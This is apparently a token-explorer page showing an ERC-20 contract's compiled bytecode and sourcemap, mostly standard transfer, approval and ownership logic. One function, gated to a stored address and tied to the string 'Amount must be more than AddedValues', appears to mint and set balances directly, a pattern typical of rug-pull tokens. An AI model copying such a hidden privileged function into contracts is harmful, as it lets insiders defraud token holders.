000000000000000008152600401610f769190611453565b60405180910390fd5b5060008385610f8e919061161d565b9050809150509392505050565b6000808284610faa91906115c7565b905083811015610fef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe6906114d5565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611069576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106090611495565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081359050611135816119ab565b92915050565b60008135905061114a816119c2565b92915050565b60006020828403121561116657611165611769565b5b600061117484828501611126565b91505092915050565b6000806040838503121561119457611193611769565b5b60006111a285828601611126565b92505060206111b385828601611126565b9150509250929050565b6000806000606084860312156111d6576111d5611769565b5b60006111e486828701611126565b93505060206111f586828701611126565b92505060406112068682870161113b565b9150509250925092565b6000806040838503121561122757611226611769565b5b600061123585828601611126565b92505060206112468582860161113b565b9150509250929050565b6000806040838503121561126757611266611769565b5b60006112758582860161113b565b925050602061128685828601611126565b9150509250929050565b61129981611651565b82525050565b6112a881611663565b82525050565b60006112b9826115ab565b6112c381856115b6565b93506112d38185602086016116a6565b6112dc8161176e565b840191505092915050565b60006112f46023836115b6565b91506112ff8261177f565b604082019050919050565b60006113176026836115b6565b9150611322826117ce565b604082019050919050565b600061133a6022836115b6565b91506113458261181d565b604082019050919050565b600061135d601b836115b6565b91506113688261186c565b602082019050919050565b60006113806020836115b6565b915061138b82611895565b602082019050919050565b60006113a36025836115b6565b91506113ae826118be565b604082019050919050565b60006113c66024836115b6565b91506113d18261190d565b604082019050919050565b60006113e96024836115b6565b91506113f48261195c565b604082019050919050565b6114088161168f565b82525050565b61141781611699565b82525050565b60006020820190506114326000830184611290565b92915050565b600060208201905061144d600083018461129f565b92915050565b6000602082019050818103600083015261146d81846112ae565b905092915050565b6000602082019050818103600083015261148e816112e7565b9050919050565b600060208201905081810360008301526114ae8161130a565b9050919050565b600060208201905081810360008301526114ce8161132d565b9050919050565b600060208201905081810360008301526114ee81611350565b9050919050565b6000602082019050818103600083015261150e81611373565b9050919050565b6000602082019050818103600083015261152e81611396565b9050919050565b6000602082019050818103600083015261154e816113b9565b9050919050565b6000602082019050818103600083015261156e816113dc565b9050919050565b600060208201905061158a60008301846113ff565b92915050565b60006020820190506115a5600083018461140e565b92915050565b600081519050919050565b600082825260208201905092915050565b60006115d28261168f565b91506115dd8361168f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116125761161161170b565b5b828201905092915050565b60006116288261168f565b91506116338361168f565b9250828210156116465761164561170b565b5b828203905092915050565b600061165c8261166f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116c45780820151818401526020810190506116a9565b838111156116d3576000848401525b50505050565b600060028204905060018216806116f157607f821691505b602082108114156117055761170461173a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206d6f7265207468616e204164646564566160008201527f6c75657300000000000000000000000000000000000000000000000000000000602082015250565b6119b481611651565b81146119bf57600080fd5b50565b6119cb8161168f565b81146119d657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122088f3d006119af2643ca3bdff0806e7a37b933faf436a5c1a5828a4c1a9f925a164736f6c63430008070033

Deployed Bytecode Sourcemap

3916:3299:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4897:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5597:163;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5008:110;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5769:315;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4671:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6095:287;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4210:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5127:129;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3415:140;;;:::i;:::-;;4560:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3199:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4782:106;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5265:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4268:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4296:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5443:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3564:109;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4897:102;4953:13;4986:5;4979:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4897:102;:::o;5597:163::-;5674:4;5691:39;5700:12;:10;:12::i;:::-;5714:7;5723:6;5691:8;:39::i;:::-;5748:4;5741:11;;5597:163;;;;:::o;5008:110::-;5071:7;5098:12;;5091:19;;5008:110;:::o;5769:315::-;5869:4;5886:36;5896:6;5904:9;5915:6;5886:9;:36::i;:::-;5933:121;5942:6;5950:12;:10;:12::i;:::-;5964:89;6002:6;5964:89;;;;;;;;;;;;;;;;;:11;:19;5976:6;5964:19;;;;;;;;;;;;;;;:33;5984:12;:10;:12::i;:::-;5964:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5933:8;:121::i;:::-;6072:4;6065:11;;5769:315;;;;;:::o;4671:102::-;4731:5;4756:9;;;;;;;;;;;4749:16;;4671:102;:::o;6095:287::-;6193:10;6180:23;;:9;;;;;;;;;;;:23;;;6171:33;;;;;;6229:6;6224:1;:11;;6215:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;6302:24;6319:6;6302:12;;:16;;:24;;;;:::i;:::-;6287:12;:39;;;;6368:6;6345:9;:20;6355:9;6345:20;;;;;;;;;;;;;;;:29;;;;6095:287;;:::o;4210:22::-;;;;;;;;;;;;;:::o;5127:129::-;5203:7;5230:9;:18;5240:7;5230:18;;;;;;;;;;;;;;;;5223:25;;5127:129;;;:::o;3415:140::-;3337:12;:10;:12::i;:::-;3327:22;;:6;;;;;;;;;;:22;;;3319:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3514:1:::1;3477:40;;3498:6;::::0;::::1;;;;;;;;3477:40;;;;;;;;;;;;3545:1;3528:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3415:140::o:0;4560:102::-;4620:7;4647;:5;:7::i;:::-;4640:14;;4560:102;:::o;3199:79::-;3237:7;3264:6;;;;;;;;;;;3257:13;;3199:79;:::o;4782:106::-;4840:13;4873:7;4866:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4782:106;:::o;5265:169::-;5345:4;5362:42;5372:12;:10;:12::i;:::-;5386:9;5397:6;5362:9;:42::i;:::-;5422:4;5415:11;;5265:169;;;;:::o;4268:21::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4296:19::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5443:145::-;5526:7;5553:11;:18;5565:5;5553:18;;;;;;;;;;;;;;;:27;5572:7;5553:27;;;;;;;;;;;;;;;;5546:34;;5443:145;;;;:::o;3564:109::-;3337:12;:10;:12::i;:::-;3327:22;;:6;;;;;;;;;;:22;;;3319:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3637:28:::1;3656:8;3637:18;:28::i;:::-;3564:109:::0;:::o;133:115::-;186:15;229:10;214:26;;133:115;:::o;6873:339::-;6984:1;6967:19;;:5;:19;;;;6959:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7065:1;7046:21;;:7;:21;;;;7038:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7150:6;7120:11;:18;7132:5;7120:18;;;;;;;;;;;;;;;:27;7139:7;7120:27;;;;;;;;;;;;;;;:36;;;;7188:7;7172:32;;7181:5;7172:32;;;7197:6;7172:32;;;;;;:::i;:::-;;;;;;;;6873:339;;;:::o;6390:472::-;6506:1;6488:20;;:6;:20;;;;6480:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;6590:1;6569:23;;:9;:23;;;;6561:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6666;6688:6;6666:71;;;;;;;;;;;;;;;;;:9;:17;6676:6;6666:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;6646:9;:17;6656:6;6646:17;;;;;;;;;;;;;;;:91;;;;6771:32;6796:6;6771:9;:20;6781:9;6771:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;6748:9;:20;6758:9;6748:20;;;;;;;;;;;;;;;:55;;;;6836:9;6819:35;;6828:6;6819:35;;;6847:6;6819:35;;;;;;:::i;:::-;;;;;;;;6390:472;;;:::o;1777:190::-;1863:7;1896:1;1891;:6;;1899:12;1883:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1923:9;1939:1;1935;:5;;;;:::i;:::-;1923:17;;1958:1;1951:8;;;1777:190;;;;;:::o;1444:179::-;1502:7;1522:9;1538:1;1534;:5;;;;:::i;:::-;1522:17;;1563:1;1558;:6;;1550:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1614:1;1607:8;;;1444:179;;;;:::o;3682:229::-;3776:1;3756:22;;:8;:22;;;;3748:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;3866:8;3837:38;;3858:6;;;;;;;;;;3837:38;;;;;;;;;;;;3895:8;3886:6;;:17;;;;;;;;;;;;;;;;;;3682:229;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;152:139;;;;:::o;297:329::-;356:6;405:2;393:9;384:7;380:23;376:32;373:119;;;411:79;;:::i;:::-;373:119;531:1;556:53;601:7;592:6;581:9;577:22;556:53;:::i;:::-;546:63;;502:117;297:329;;;;:::o;632:474::-;700:6;708;757:2;745:9;736:7;732:23;728:32;725:119;;;763:79;;:::i;:::-;725:119;883:1;908:53;953:7;944:6;933:9;929:22;908:53;:::i;:::-;898:63;;854:117;1010:2;1036:53;1081:7;1072:6;1061:9;1057:22;1036:53;:::i;:::-;1026:63;;981:118;632:474;;;;;:::o;1112:619::-;1189:6;1197;1205;1254:2;1242:9;1233:7;1229:23;1225:32;1222:119;;;1260:79;;:::i;:::-;1222:119;1380:1;1405:53;1450:7;1441:6;1430:9;1426:22;1405:53;:::i;:::-;1395:63;;1351:117;1507:2;1533:53;1578:7;1569:6;1558:9;1554:22;1533:53;:::i;:::-;1523:63;;1478:118;1635:2;1661:53;1706:7;1697:6;1686:9;1682:22;1661:53;:::i;:::-;1651:63;;1606:118;1112:619;;;;;:::o;1737:474::-;1805:6;1813;1862:2;1850:9;1841:7;1837:23;1833:32;1830:119;;;1868:79;;:::i;:::-;1830:119;1988:1;2013:53;2058:7;2049:6;2038:9;2034:22;2013:53;:::i;:::-;2003:63;;1959:117;2115:2;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2086:118;1737:474;;;;;:::o;2217:::-;2285:6;2293;2342:2;2330:9;2321:7;2317:23;2313:32;2310:119;;;2348:79;;:::i;:::-;2310:119;2468:1;2493:53;2538:7;2529:6;2518:9;2514:22;2493:53;:::i;:::-;2483:63;;2439:117;2595:2;2621:53;2666:7;2657:6;2646:9;2642:22;2621:53;:::i;:::-;2611:63;;2566:118;2217:474;;;;;:::o;2697:118::-;2784:24;2802:5;2784:24;:::i;:::-;2779:3;2772:37;2697:118;;:::o;2821:109::-;2902:21;2917:5;2902:21;:::i;:::-;2897:3;2890:34;2821:109;;:::o;2936:364::-;3024:3;3052:39;3085:5;3052:39;:::i;:::-;3107:71;3171:6;3166:3;3107:71;:::i;:::-;3100:78;;3187:52;3232:6;3227:3;3220:4;3213:5;3209:16;3187:52;:::i;:::-;3264:29;3286:6;3264:29;:::i;:::-;3259:3;3255:39;3248:46;;3028:272;2936:364;;;;:::o;3306:366::-;3448:3;3469:67;3533:2;3528:3;3469:67;:::i;:::-;3462:74;;3545:93;3634:3;3545:93;:::i;:::-;3663:2;3658:3;3654:12;3647:19;;3306:366;;;:::o;3678:::-;3820:3;3841:67;3905:2;3900:3;3841:67;:::i;:::-;3834:74;;3917:93;4006:3;3917:93;:::i;:::-;4035:2;4030:3;4026:12;4019:19;;3678:366;;;:::o;4050:::-;4192:3;4213:67;4277:2;4272:3;4213:67;:::i;:::-;4206:74;;4289:93;4378:3;4289:93;:::i;:::-;4407:2;4402:3;4398:12;4391:19;;4050:366;;;:::o;4422:::-;4564:3;4585:67;4649:2;4644:3;4585:67;:::i;:::-;4578:74;;4661:93;4750:3;4661:93;:::i;:::-;4779:2;4774:3;4770:12;4763:19;;4422:366;;;:::o;4794:::-;4936:3;4957:67;5021:2;5016:3;4957:67;:::i;:::-;4950:74;;5033:93;5122:3;5033:93;:::i;:::-;5151:2;5146:3;5142:12;5135:19;;4794:366;;;:::o;5166:::-;5308:3;5329:67;5393:2;5388:3;5329:67;:::i;:::-;5322:74;;5405:93;5494:3;5405:93;:::i;:::-;5523:2;5518:3;5514:12;5507:19;;5166:366;;;:::o;5538:::-;5680:3;5701:67;5765:2;5760:3;5701:67;:::i;:::-;5694:74;;5777:93;5866:3;5777:93;:::i;:::-;5895:2;5890:3;5886:12;5879:19;;5538:366;;;:::o;5910:::-;6052:3;6073:67;6137:2;6132:3;6073:67;:::i;:::-;6066:74;;6149:93;6238:3;6149:93;:::i;:::-;6267:2;6262:3;6258:12;6251:19;;5910:366;;;:::o;6282:118::-;6369:24;6387:5;6369:24;:::i;:::-;6364:3;6357:37;6282:118;;:::o;6406:112::-;6489:22;6505:5;6489:22;:::i;:::-;6484:3;6477:35;6406:112;;:::o;6524:222::-;6617:4;6655:2;6644:9;6640:18;6632:26;;6668:71;6736:1;6725:9;6721:17;6712:6;6668:71;:::i;:::-;6524:222;;;;:::o;6752:210::-;6839:4;6877:2;6866:9;6862:18;6854:26;;6890:65;6952:1;6941:9;6937:17;6928:6;6890:65;:::i;:::-;6752:210;;;;:::o;6968:313::-;7081:4;7119:2;7108:9;7104:18;7096:26;;7168:9;7162:4;7158:20;7154:1;7143:9;7139:17;7132:47;7196:78;7269:4;7260:6;7196:78;:::i;:::-;7188:86;;6968:313;;;;:::o;7287:419::-;7453:4;7491:2;7480:9;7476:18;7468:26;;7540:9;7534:4;7530:20;7526:1;7515:9;7511:17;7504:47;7568:131;7694:4;7568:131;:::i;:::-;7560:139;;7287:419;;;:::o;7712:::-;7878:4;7916:2;7905:9;7901:18;7893:26;;7965:9;7959:4;7955:20;7951:1;7940:9;7936:17;7929:47;7993:131;8119:4;7993:131;:::i;:::-;7985:139;;7712:419;;;:::o;8137:::-;8303:4;8341:2;8330:9;8326:18;8318:26;;8390:9;8384:4;8380:20;8376:1;8365:9;8361:17;8354:47;8418:131;8544:4;8418:131;:::i;:::-;8410:139;;8137:419;;;:::o;8562:::-;8728:4;8766:2;8755:9;8751:18;8743:26;;8815:9;8809:4;8805:20;8801:1;8790:9;8786:17;8779:47;8843:131;8969:4;8843:131;:::i;:::-;8835:139;;8562:419;;;:::o;8987:::-;9153:4;9191:2;9180:9;9176:18;9168:26;;9240:9;9234:4;9230:20;9226:1;9215:9;9211:17;9204:47;9268:131;9394:4;9268:131;:::i;:::-;9260:139;;8987:419;;;:::o;9412:::-;9578:4;9616:2;9605:9;9601:18;9593:26;;9665:9;9659:4;9655:20;9651:1;9640:9;9636:17;9629:47;9693:131;9819:4;9693:131;:::i;:::-;9685:139;;9412:419;;;:::o;9837:::-;10003:4;10041:2;10030:9;10026:18;10018:26;;10090:9;10084:4;10080:20;10076:1;10065:9;10061:17;10054:47;10118:131;10244:4;10118:131;:::i;:::-;10110:139;;9837:419;;;:::o;10262:::-;10428:4;10466:2;10455:9;10451:18;10443:26;;10515:9;10509:4;10505:20;10501:1;10490:9;10486:17;10479:47;10543:131;10669:4;10543:131;:::i;:::-;10535:139;;10262:419;;;:::o;10687:222::-;10780:4;10818:2;10807:9;10803:18;10795:26;;10831:71;10899:1;10888:9;10884:17;10875:6;10831:71;:::i;:::-;10687:222;;;;:::o;10915:214::-;11004:4;11042:2;11031:9;11027:18;11019:26;;11055:67;11119:1;11108:9;11104:17;11095:6;11055:67;:::i;:::-;10915:214;;;;:::o;11216:99::-;11268:6;11302:5;11296:12;11286:22;;11216:99;;;:::o;11321:169::-;11405:11;11439:6;11434:3;11427:19;11479:4;11474:3;11470:14;11455:29;;11321:169;;;;:::o;11496:305::-;11536:3;11555:20;11573:1;11555:20;:::i;:::-;11550:25;;11589:20;11607:1;11589:20;:::i;:::-;11584:25;;11743:1;11675:66;11671:74;11668:1;11665:81;11662:107;;;11749:18;;:::i;:::-;11662:107;11793:1;11790;11786:9;11779:16;;11496:305;;;;:::o;11807:191::-;11847:4;11867:20;11885:1;11867:20;:::i;:::-;11862:25;;11901:20;11919:1;11901:20;:::i;:::-;11896:25;;11940:1;11937;11934:8;11931:34;;;11945:18;;:::i;:::-;11931:34;11990:1;11987;11983:9;11975:17;;11807:191;;;;:::o;12004:96::-;12041:7;12070:24;12088:5;12070:24;:::i;:::-;12059:35;;12004:96;;;:::o;12106:90::-;12140:7;12183:5;12176:13;12169:21;12158:32;;12106:90;;;:::o;12202:126::-;12239:7;12279:42;12272:5;12268:54;12257:65;;12202:126;;;:::o;12334:77::-;12371:7;12400:5;12389:16;;12334:77;;;:::o;12417:86::-;12452:7;12492:4;12485:5;12481:16;12470:27;;12417:86;;;:::o;12509:307::-;12577:1;12587:113;12601:6;12598:1;12595:13;12587:113;;;12686:1;12681:3;12677:11;12671:18;12667:1;12662:3;12658:11;12651:39;12623:2;12620:1;12616:10;12611:15;;12587:113;;;12718:6;12715:1;12712:13;12709:101;;;12798:1;12789:6;12784:3;12780:16;12773:27;12709:101;12558:258;12509:307;;;:::o;12822:320::-;12866:6;12903:1;12897:4;12893:12;12883:22;;12950:1;12944:4;12940:12;12971:18;12961:81;;13027:4;13019:6;13015:17;13005:27;;12961:81;13089:2;13081:6;13078:14;13058:18;13055:38;13052:84;;;13108:18;;:::i;:::-;13052:84;12873:269;12822:320;;;:::o;13148:180::-;13196:77;13193:1;13186:88;13293:4;13290:1;13283:15;13317:4;13314:1;13307:15;13334:180;13382:77;13379:1;13372:88;13479:4;13476:1;13469:15;13503:4;13500:1;13493:15;13643:117;13752:1;13749;13742:12;13766:102;13807:6;13858:2;13854:7;13849:2;13842:5;13838:14;13834:28;13824:38;;13766:102;;;:::o;13874:222::-;14014:34;14010:1;14002:6;13998:14;13991:58;14083:5;14078:2;14070:6;14066:15;14059:30;13874:222;:::o;14102:225::-;14242:34;14238:1;14230:6;14226:14;14219:58;14311:8;14306:2;14298:6;14294:15;14287:33;14102:225;:::o;14333:221::-;14473:34;14469:1;14461:6;14457:14;14450:58;14542:4;14537:2;14529:6;14525:15;14518:29;14333:221;:::o;14560:177::-;14700:29;14696:1;14688:6;14684:14;14677:53;14560:177;:::o;14743:182::-;14883:34;14879:1;14871:6;14867:14;14860:58;14743:182;:::o;14931:224::-;15071:34;15067:1;15059:6;15055:14;15048:58;15140:7;15135:2;15127:6;15123:15;15116:32;14931:224;:::o;15161:223::-;15301:34;15297:1;15289:6;15285:14;15278:58;15370:6;15365:2;15357:6;15353:15;15346:31;15161:223;:::o;15390:::-;15530:34;15526:1;15518:6;15514:14;15507:58;15599:6;15594:2;15586:6;15582:15;15575:31;15390:223;:::o;15619:122::-;15692:24;15710:5;15692:24;:::i;:::-;15685:5;15682:35;15672:63;;15731:1;15728;15721:12;15672:63;15619:122;:::o;15747:::-;15820:24;15838:5;15820:24;:::i;:::-;15813:5;15810:35;15800:63;;15859:1;15856;15849:12;15800:63;15747:122;:::o

Swarm Source

ipfs://88f3d006119af2643ca3bdff0806e7a37b933faf436a5c1a5828a4c1a9f925a1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.